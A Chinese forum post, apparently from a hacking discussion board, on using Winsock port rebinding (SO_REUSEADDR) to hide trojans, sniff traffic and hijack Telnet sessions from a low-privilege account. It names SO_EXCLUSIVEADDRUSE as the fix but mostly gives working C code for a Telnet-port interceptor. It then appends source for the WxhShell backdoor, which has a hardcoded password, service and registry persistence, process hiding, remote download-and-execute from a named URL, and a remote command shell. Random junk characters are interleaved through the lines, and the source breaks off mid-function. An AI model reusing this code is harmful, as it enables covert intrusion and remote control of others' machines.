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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3( AgUq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q !S"=2  
Y}nE/bmx&9  
  saddr.sin_family = AF_INET;  eCk}B$ 2  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ej6vGC.,  
ir%/9=^d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x\x>_1oP  
Zr oj-3-X~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qjUQ2d  
u4#BD!W  
  这意味着什么?意味着可以进行如下的攻击: WI}P(!h\J  
7CM<"pV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #,!.e  
MlS<txFPS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (y#8z6\dx  
uF@Q8 7G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8~rD#8`6j  
tR0o6s@v/<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S G]e^%i  
0Ba-VY.H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t[iE >  
mv<z%y?Oj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gt'0B-;W  
"{L%5:H@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AP/5, M<  
yy/wSk  
  #include &m+s5  
  #include Q@ /wn  
  #include !cp ,OrO\  
  #include    dbE $T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K.b-8NIUW  
  int main() ]#R;%L  
  { eN N%%Q  
  WORD wVersionRequested; ,Iwri\  
  DWORD ret; )Q 6R6xW  
  WSADATA wsaData;   3xV  
  BOOL val; +a"A svw2  
  SOCKADDR_IN saddr; EiIbp4*e  
  SOCKADDR_IN scaddr; /g@.1z1w  
  int err; OYy%aA}h  
  SOCKET s; &``;1/J*W  
  SOCKET sc; cKFzn+  
  int caddsize; ?sp  
  HANDLE mt; *vUKh^="  
  DWORD tid;   0(:"q!h  
  wVersionRequested = MAKEWORD( 2, 2 ); m{gt(n  
  err = WSAStartup( wVersionRequested, &wsaData ); :4&qASn  
  if ( err != 0 ) { xJN JvA  
  printf("error!WSAStartup failed!\n"); Lgvmk  
  return -1; BNu zlR  
  } Z"% =  
  saddr.sin_family = AF_INET; s 6vsV  
   &xrm;pO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "fr B5[  
VA4_>6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MP;7 u%   
  saddr.sin_port = htons(23); Dr,{V6^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,MuLu,$/  
  { kJHUaXM  
  printf("error!socket failed!\n"); &{/ `Q ,  
  return -1; p>|;fS\`@}  
  } Fu{[5uv  
  val = TRUE; { S4?L8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kM]?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XvZg!<*OH  
  { Q5{i#F7nJm  
  printf("error!setsockopt failed!\n"); 4+'yJ9~,B  
  return -1; {u3^#kF  
  } Hc5@ gN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h^?[:XBeav  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sAC1Pda  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @&mv4zz&W  
"7Zb)Ocb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %HwPOEJ  
  { 'hf-)\Ylf  
  ret=GetLastError(); 76mQ$ze  
  printf("error!bind failed!\n"); {C|#<}1  
  return -1; ZMy7z|  
  } %+Mi~k*A'  
  listen(s,2); ^nFa'=  
  while(1) iV(B0z  
  { Qh%7RGh_  
  caddsize = sizeof(scaddr); +cQ4u4  
  //接受连接请求 u5$\E]+ _  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >77 /e@  
  if(sc!=INVALID_SOCKET) u23^* -  
  { WTSY:kvcCY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G@ BrU q  
  if(mt==NULL) l3b$b%0'  
  { z#8GF^U:T  
  printf("Thread Creat Failed!\n"); tJbOn$]2"  
  break; .kBi" p&  
  } hTf]t  
  } QYyF6ht=!  
  CloseHandle(mt); b ]1SuL  
  } _I3j 7f,V  
  closesocket(s); 9\R:J"X  
  WSACleanup(); *N[.']#n  
  return 0; O&E1(M|*>  
  }   FFK79e/5  
  DWORD WINAPI ClientThread(LPVOID lpParam) ShF ][v1L  
  { DIkD6n?V  
  SOCKET ss = (SOCKET)lpParam; :sk7`7v  
  SOCKET sc; %:YON,1b=7  
  unsigned char buf[4096]; ?U iwr{Q  
  SOCKADDR_IN saddr; `-qSvjX  
  long num; 3)EslBA7i  
  DWORD val; v^HDR 3I  
  DWORD ret; ?K|PM <A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]J5[ZVz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   it D%sKo  
  saddr.sin_family = AF_INET; `i,ZwnLh{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KFCuv15w,3  
  saddr.sin_port = htons(23);  ORp6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZgZ}^x  
  { .A&Ey5  
  printf("error!socket failed!\n"); +2|X 7wA  
  return -1; y%v<Cp@R  
  } NnGQ=$e  
  val = 100; yL_-w/a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $6Nm`[V  
  { $/Zsy6q:  
  ret = GetLastError(); zf5s\w.4  
  return -1; _+wv3? c"  
  } 8Rc4+g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FWq 6e,  
  { `jvIcu5c  
  ret = GetLastError(); f&7SivS#  
  return -1; D2[uex  
  } )wCA8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FOM~Uj  
  { @HMt}zD  
  printf("error!socket connect failed!\n"); Kg~<h B6  
  closesocket(sc); rcF;Lp :  
  closesocket(ss); 3k5Mty  
  return -1; j K$4G.x  
  } HI,1~ Jw+  
  while(1) |hiYV  
  { +}I[l,,xy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yw\} '7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?G* XZ0u~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .hSacd  
  num = recv(ss,buf,4096,0); z%`Tf&UL  
  if(num>0)  C!Y|k.`p  
  send(sc,buf,num,0); {{tH$j?Q  
  else if(num==0) -]+ XTsL  
  break; +T"kx\<  
  num = recv(sc,buf,4096,0); 818</b<yn  
  if(num>0) .gG<08Z  
  send(ss,buf,num,0); gupB8 .!  
  else if(num==0) slOki|p;  
  break; %+Z 0 $Q  
  } (+>+@G~o  
  closesocket(ss); eW1$;.^  
  closesocket(sc); {5#P1jlT  
  return 0 ; .%U~ r2Y(  
  } - EF(J  
GWM2l?zOP  
'R*xg2!i  
========================================================== "of(,p   
k#c BBrY  
下边附上一个代码,,WXhSHELL Z?ZcQ[eC  
b+OLmd  
========================================================== &Sa<&2W4S  
\Y Cj/tG8  
#include "stdafx.h" wkdd&Nw;  
F$ZWQ9&5U0  
#include <stdio.h> f"k?Ix\ e  
#include <string.h> lqF{Y<l  
#include <windows.h> $P866F  
#include <winsock2.h> 7B"J x^  
#include <winsvc.h> 0`h[|FYV  
#include <urlmon.h> nbMH:UY,J  
Jk}L+X vv  
#pragma comment (lib, "Ws2_32.lib") _-o*3gmbQ  
#pragma comment (lib, "urlmon.lib")  +h9U V  
^R,5T}J.  
#define MAX_USER   100 // 最大客户端连接数 _>dqz(8#  
#define BUF_SOCK   200 // sock buffer >tr_Ypfv,c  
#define KEY_BUFF   255 // 输入 buffer x/[i &Gkv  
= EyxM  
#define REBOOT     0   // 重启 1 _fFbb"  
#define SHUTDOWN   1   // 关机 9x;/q7  
OV7vwj/-  
#define DEF_PORT   5000 // 监听端口 #Vs/1y`()  
3${?!OC  
#define REG_LEN     16   // 注册表键长度 E&{*{u4  
#define SVC_LEN     80   // NT服务名长度 0s$g[Fw<.  
0k:&7(j  
// 从dll定义API @E,{p"{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q-o=lU"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ![7v_l\Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U"%k4]:A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SjtGU47$!  
Rb#Z'1D'G  
// wxhshell配置信息 6KnD(im  
struct WSCFG { Ook3B  
  int ws_port;         // 监听端口 fX[,yc;  
  char ws_passstr[REG_LEN]; // 口令 >, 234ab=d  
  int ws_autoins;       // 安装标记, 1=yes 0=no )@]-bPnv  
  char ws_regname[REG_LEN]; // 注册表键名 }sPY+ZjV  
  char ws_svcname[REG_LEN]; // 服务名 :`:<JA3,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @!0j)5%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >h[tHM O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7/PHg)&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %f6l"~y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w?jmi~6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xXA$16kd  
g~FB&U4c  
}; u\t[rC=yd  
l]sO[`X  
// default Wxhshell configuration 4=o3 ZRV  
struct WSCFG wscfg={DEF_PORT, I;P?P5H  
    "xuhuanlingzhe", z9w@-])  
    1, M\\TQ(B  
    "Wxhshell", 2Mu-c:1  
    "Wxhshell", Ef%8+_  
            "WxhShell Service", iN`/pW/JE  
    "Wrsky Windows CmdShell Service", n  'P:  
    "Please Input Your Password: ", &0(2Z^Z>fw  
  1, f910drg7  
  "http://www.wrsky.com/wxhshell.exe", %bDd  
  "Wxhshell.exe" "sT`Dhr  
    };  KS*W<_I  
*n}9_V%  
// 消息定义模块 {D."A$AAa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nz+o8L,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1yX&iO^d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;4 ?%k )  
char *msg_ws_ext="\n\rExit."; D.*JG7;=Z  
char *msg_ws_end="\n\rQuit."; P%ZWm=lg  
char *msg_ws_boot="\n\rReboot..."; &=$8 v"&^  
char *msg_ws_poff="\n\rShutdown..."; ngeX+@  
char *msg_ws_down="\n\rSave to "; ^z[s;:-  
\RQ5$!O  
char *msg_ws_err="\n\rErr!"; 3-o ]H'6  
char *msg_ws_ok="\n\rOK!"; Cf`UMQ a  
JGj_{|=:  
char ExeFile[MAX_PATH]; <( BAws(X  
int nUser = 0; ~{^A&#P  
HANDLE handles[MAX_USER]; ei\X/Z*q%P  
int OsIsNt; Ql&P1|&  
<>j, Q  
SERVICE_STATUS       serviceStatus; *zX<`E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v|{*y  
X){F^1CT{  
// 函数声明 et9 c<'  
int Install(void); f\r$T Nd6  
int Uninstall(void); HoRLy*nU  
int DownloadFile(char *sURL, SOCKET wsh); /jj!DO#  
int Boot(int flag); _x UhDu%  
void HideProc(void); oC4rL\d{  
int GetOsVer(void); (/k,q  
int Wxhshell(SOCKET wsl); xZ;';}&pj  
void TalkWithClient(void *cs); X\1D[n:  
int CmdShell(SOCKET sock); ngm7Vs  
int StartFromService(void); B2845~\.  
int StartWxhshell(LPSTR lpCmdLine); |I OTW=>  
,ypxy/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ulj`+D?H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rBr28_i   
V{d"cs>9  
// 数据结构和表定义 n0vPW^EQ  
SERVICE_TABLE_ENTRY DispatchTable[] = m.V mS7_I  
{ 5.GBd_;  
{wscfg.ws_svcname, NTServiceMain}, P92:}" )*>  
{NULL, NULL} g^0  
}; )s6tj lf8  
;P2~cQjD;  
// 自我安装 f_Wn[I{  
int Install(void) !^8'LMY<I  
{ b]|7{yMV  
  char svExeFile[MAX_PATH]; KpwUp5K  
  HKEY key; ?[m5|ty#  
  strcpy(svExeFile,ExeFile); Ei}DA=:s  
?|s[/zPS=  
// 如果是win9x系统,修改注册表设为自启动 vm4]KEyrX  
if(!OsIsNt) { {<kl)}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HH+rib'u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xPb`CY7  
  RegCloseKey(key); C{2 UPG4x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^' [|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q7}w Y  
  RegCloseKey(key); 6PPvf D^  
  return 0; \H" (*["&  
    } UI!EIZ*~  
  } G53!wIW2:  
} 6b]vHT|p  
else { pn =S%Qf]  
pAa{,,Qc  
// 如果是NT以上系统,安装为系统服务 ait/|a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QkF-}P%  
if (schSCManager!=0) eGguq~s`  
{ E* lqCh  
  SC_HANDLE schService = CreateService @l;f';+  
  ( /1OhW>W3eH  
  schSCManager, c69C=WQ  
  wscfg.ws_svcname, ~z< ? Wh  
  wscfg.ws_svcdisp, ]\_4r)cN<n  
  SERVICE_ALL_ACCESS, .0a$E`V=D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DH 9?~|  
  SERVICE_AUTO_START, #vDe/o+=  
  SERVICE_ERROR_NORMAL, Q7Dkh KT  
  svExeFile, CX1'B0=\r  
  NULL, 'E7|L@X"r  
  NULL, \7/xb{z|  
  NULL, DAvAozM  
  NULL, .d8~]@U!<  
  NULL }RyYzm2  
  ); 5,mb]v0k  
  if (schService!=0) (TY^ kySr  
  { zF{ z_c#3@  
  CloseServiceHandle(schService); yXEC@#?|  
  CloseServiceHandle(schSCManager); Z>X -ueV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?VzST }  
  strcat(svExeFile,wscfg.ws_svcname); L~0B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t;4{l`dk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `[:f;2(@  
  RegCloseKey(key); ZAiQofQ:2  
  return 0; ]0O pd9  
    } &j>`H:  
  } P"xP%zqo  
  CloseServiceHandle(schSCManager); =)T5Y,+rJ  
} rsc8lSjH  
} z{%G  
c3Mql+@  
return 1; N*$Q(K  
} #cmj?y()  
7,(:vjIXd  
// 自我卸载 ( E0be.  
int Uninstall(void) k@wxN!w;  
{ zb9$  
  HKEY key; 0<P -`|X  
R"82=">v  
if(!OsIsNt) { Q}m)Q('Rk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QiZThAe  
  RegDeleteValue(key,wscfg.ws_regname); a"ht\v}1  
  RegCloseKey(key); |\b*p:e l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K(Cv9YQ  
  RegDeleteValue(key,wscfg.ws_regname); /[us;=CM  
  RegCloseKey(key); D vK}UAj=  
  return 0; r<~1:/F|  
  } l$zM|Z1wR`  
} PVU(R J  
} g@S"!9[;U  
else { G_X'd  
hx:x5L>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^c-1w V` /  
if (schSCManager!=0) v4 c_UFEh<  
{ XLzHm&;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~A6QX8a  
  if (schService!=0) M~wJe@bc  
  { BGUP-_&  
  if(DeleteService(schService)!=0) { 8WaVs6  
  CloseServiceHandle(schService); T"dEa-O  
  CloseServiceHandle(schSCManager); paiF ah  
  return 0; km8[azB o  
  } rt."P20T  
  CloseServiceHandle(schService); Z!ub`coV[  
  } 0h#' 3z<  
  CloseServiceHandle(schSCManager); Gh@QR`xxc  
} c"fnTJXr79  
} P+o ZS  
{E!$<A9  
return 1; z?+N3p9  
} A!hkofQ  
OHH wcJ7N  
// 从指定url下载文件 -,p(PK  
int DownloadFile(char *sURL, SOCKET wsh) \]o#tYN\a0  
{ yyBy|7QgO  
  HRESULT hr; Qs*g)Yr  
char seps[]= "/"; Y.=v!*p?}  
char *token; M3x%D)*  
char *file; i"zWv@1z  
char myURL[MAX_PATH]; p5Y"W(5_  
char myFILE[MAX_PATH]; U?H!:?,C  
Dmn6{jy P  
strcpy(myURL,sURL); CB6<Vng}C  
  token=strtok(myURL,seps); k+%6 :r,r&  
  while(token!=NULL) e6]u5;B r  
  { 72Ft?;R  
    file=token; N0/DPZX7  
  token=strtok(NULL,seps); ?mrG^TV^+r  
  } /Wk\ 6  
LUJKR6oT{>  
GetCurrentDirectory(MAX_PATH,myFILE);  :3u>%  
strcat(myFILE, "\\"); Eiwo== M  
strcat(myFILE, file); #=+d;RdlW  
  send(wsh,myFILE,strlen(myFILE),0); XG*Luc-v  
send(wsh,"...",3,0); -Vw,9VCF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,GGr@})  
  if(hr==S_OK) lS9rgq<n  
return 0; P b2exS(  
else n|3ENN  
return 1; #(!>  
 lcyan  
} @/XA*9]l  
91e&-acA  
// 系统电源模块 3fM~R+p  
int Boot(int flag) AEhh 6v  
{ > STWt>s  
  HANDLE hToken; @)|62Dv /  
  TOKEN_PRIVILEGES tkp; E_7N^htv  
PJS\> N&u  
  if(OsIsNt) { =K}5 fe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IIs'm!"Y>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WHMt$W}%  
    tkp.PrivilegeCount = 1; KK}^E_v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x.~Z9j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wjQu3 ,Cj  
if(flag==REBOOT) { hH|3s-o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $_% a=0  
  return 0; ,;hI yT  
} Z6A*9m  
else { ]xfu @''  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tf<1Z{9  
  return 0; n<uF9N<   
} 4tof[n3us  
  } z45ImItH  
  else { q:+,'&<D  
if(flag==REBOOT) { $62!R]C9\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O}"VK  
  return 0; pQ!NhzQ  
} (%YFcE)SRS  
else { M)#aX|%Mh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -]\UFR  
  return 0; v:nm#P%P  
} tc.R(F96  
} 5ZSV)$t  
8dNwi&4  
return 1; 7q^o sOj"  
} $&I##od  
S{zi8Oc6  
// win9x进程隐藏模块 I_oJx  
void HideProc(void) Cpz'6F^oP  
{ D({% FQ"  
}v"X.fa^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :na9PW`TC  
  if ( hKernel != NULL ) C%9;~S  
  { "FwbhD0Gb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s(o{SC'tt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7H %>\^A^  
    FreeLibrary(hKernel); # 4L[8(+V  
  } yn)K1f^  
L Me{5H  
return; z}&?^YU*)`  
} L#1Y R}m  
$0~H~ -  
// 获取操作系统版本 s=h  
int GetOsVer(void) '%vb&a!.6  
{ 5IE2&V  
  OSVERSIONINFO winfo; bx_`S#*N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NiQ`,Q$B  
  GetVersionEx(&winfo); ?| s1Cuc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zui2O-L?V  
  return 1; I6,'o)l{_  
  else l\I#^N  
  return 0; `lX |yy"  
} *Fi`o_d9[`  
/'ccFm2  
// 客户端句柄模块 O KVIl  
int Wxhshell(SOCKET wsl) KuL2X@)}  
{ ^2rNty,nH  
  SOCKET wsh; M_<O'Ii3  
  struct sockaddr_in client; meA=lg?  
  DWORD myID; ,]+P#eXgE  
nlOM4fJ(  
  while(nUser<MAX_USER) K[!OfP  
{ p%pM3<p  
  int nSize=sizeof(client); 8D@H4O.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }RowAGWL  
  if(wsh==INVALID_SOCKET) return 1; Soy!)c]  
}OZp[V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9~2}hXm;  
if(handles[nUser]==0) aVNBF`  
  closesocket(wsh); yV,ki^^  
else {4SwCN /  
  nUser++; $6e&sDJ  
  } `z=U-v'H)D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O$%M.C'  
$O9Nprf  
  return 0; EnnT)qos  
} YBqu7&  
bi;?)7p&ZY  
// 关闭 socket T[]2]K[&B  
void CloseIt(SOCKET wsh) e33j&:O  
{ 9JYrP6I!_  
closesocket(wsh); [@fw9@_'  
nUser--; ,:Qy%k}f  
ExitThread(0); GVhO}m  
} h U\)CM  
{>PN}fk2QP  
// 客户端请求句柄 6A&e2K>A  
void TalkWithClient(void *cs) KJ M :-z@  
{ ufyqfID  
eM Ym@~4  
  SOCKET wsh=(SOCKET)cs; q1}HsTnBH  
  char pwd[SVC_LEN]; g`I`q3EF)  
  char cmd[KEY_BUFF]; 6 2GP1qH9  
char chr[1]; ?a?i8rnWo  
int i,j; l$N b1&  
6bF?2 OC  
  while (nUser < MAX_USER) { 91d@/z  
Z M_ 6A1  
if(wscfg.ws_passstr) { ywWF+kR_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qKNX^n;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y7(E<1Yx  
  //ZeroMemory(pwd,KEY_BUFF); zO8`xrN!  
      i=0; mO<sw  
  while(i<SVC_LEN) { wTb7 xBI  
booth}M  
  // 设置超时 41Bp^R}^/  
  fd_set FdRead; ~'>RK  
  struct timeval TimeOut; E^B*:w3  
  FD_ZERO(&FdRead); H<T9$7Yr%r  
  FD_SET(wsh,&FdRead); {C3AxK0  
  TimeOut.tv_sec=8; [- C -+jC  
  TimeOut.tv_usec=0; \i_y(;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); db#QA#^S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^PA[fL"  
|<tZ|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XN65bq  
  pwd=chr[0]; b Lag&c)  
  if(chr[0]==0xd || chr[0]==0xa) { ~_<I}!j/B  
  pwd=0; $.{CA-~%[  
  break; KzD5>Xf]4$  
  } o (fZZ`6Y  
  i++; g-lF{Z  
    } 5y-8_)y8o  
AKs=2N> 7  
  // 如果是非法用户,关闭 socket C$Pe<C#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2ED^uc: 0S  
} gSLwpIK%  
5dOA^P@`,M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hpp>+=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xb +)@Y4h  
b[p<kMTir  
while(1) { N5 ITb0Tv  
}%LwaRT  
  ZeroMemory(cmd,KEY_BUFF); `~|8eKFq!  
pgT XyAP{  
      // 自动支持客户端 telnet标准   U7O]g'BP  
  j=0; 6&V4W"k  
  while(j<KEY_BUFF) { \;AW/& Ea  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~um+r],@@  
  cmd[j]=chr[0]; ;m6Mm`[i<  
  if(chr[0]==0xa || chr[0]==0xd) { BkfWZ O{7  
  cmd[j]=0; \bAsn89O  
  break; E><!Owxt/  
  } 2B&Yw  
  j++; .s$#: ls?  
    } ^ei[#I  
k#"Pv"  
  // 下载文件 +LddW0h+=8  
  if(strstr(cmd,"http://")) { JmN,:bI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kp,}7%hDw!  
  if(DownloadFile(cmd,wsh)) JHpoW}7QB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z{T2! w~[  
  else KI(9TI *  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xR+=F1y  
  } f:iK5g  
  else { !M:m(6E1  
*]G&pmMs  
    switch(cmd[0]) { !1<x@%  
  ,Yhy7w  
  // 帮助 $$C5Q;7w!  
  case '?': { o?A/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5wXe^G  
    break; .&2pZ  
  } +kCVi  
  // 安装 W"9iFj X  
  case 'i': { N{n}]Js1D-  
    if(Install()) 6_/oVvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ZP1?l30  
    else  |u 8hxa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KLBV(`MS  
    break; -,j J{Y~  
    } .XM3oIaW  
  // 卸载 Mi'Q5m  
  case 'r': { lh`inAt)"  
    if(Uninstall()) A(AyLxB47*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <LM<,  
    else  iqf+rBL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ hB;r  
    break; 2 =tPxO')B  
    } Cnf;5/  
  // 显示 wxhshell 所在路径 ^EU& 6M2  
  case 'p': { 'R6D+Vk/  
    char svExeFile[MAX_PATH]; @'[w7HsJ  
    strcpy(svExeFile,"\n\r"); }i_[wq{E&  
      strcat(svExeFile,ExeFile); lv9Ss-c4  
        send(wsh,svExeFile,strlen(svExeFile),0); CaNZScnZ  
    break; E&0A W{  
    } : 4$Ex2  
  // 重启 oQ!}@CaN|  
  case 'b': { J)(H-xvV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &rj6<b1A  
    if(Boot(REBOOT)) Ne/jvWWN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:dVW" A|  
    else { Y.rHl4  
    closesocket(wsh); {(G@YG?  
    ExitThread(0); %o< &O(Y  
    } #FF5xe  
    break; 9Vk61x6  
    } >K#Z]k  
  // 关机 Jl3l\I'  
  case 'd': { !7J;h{3Uw  
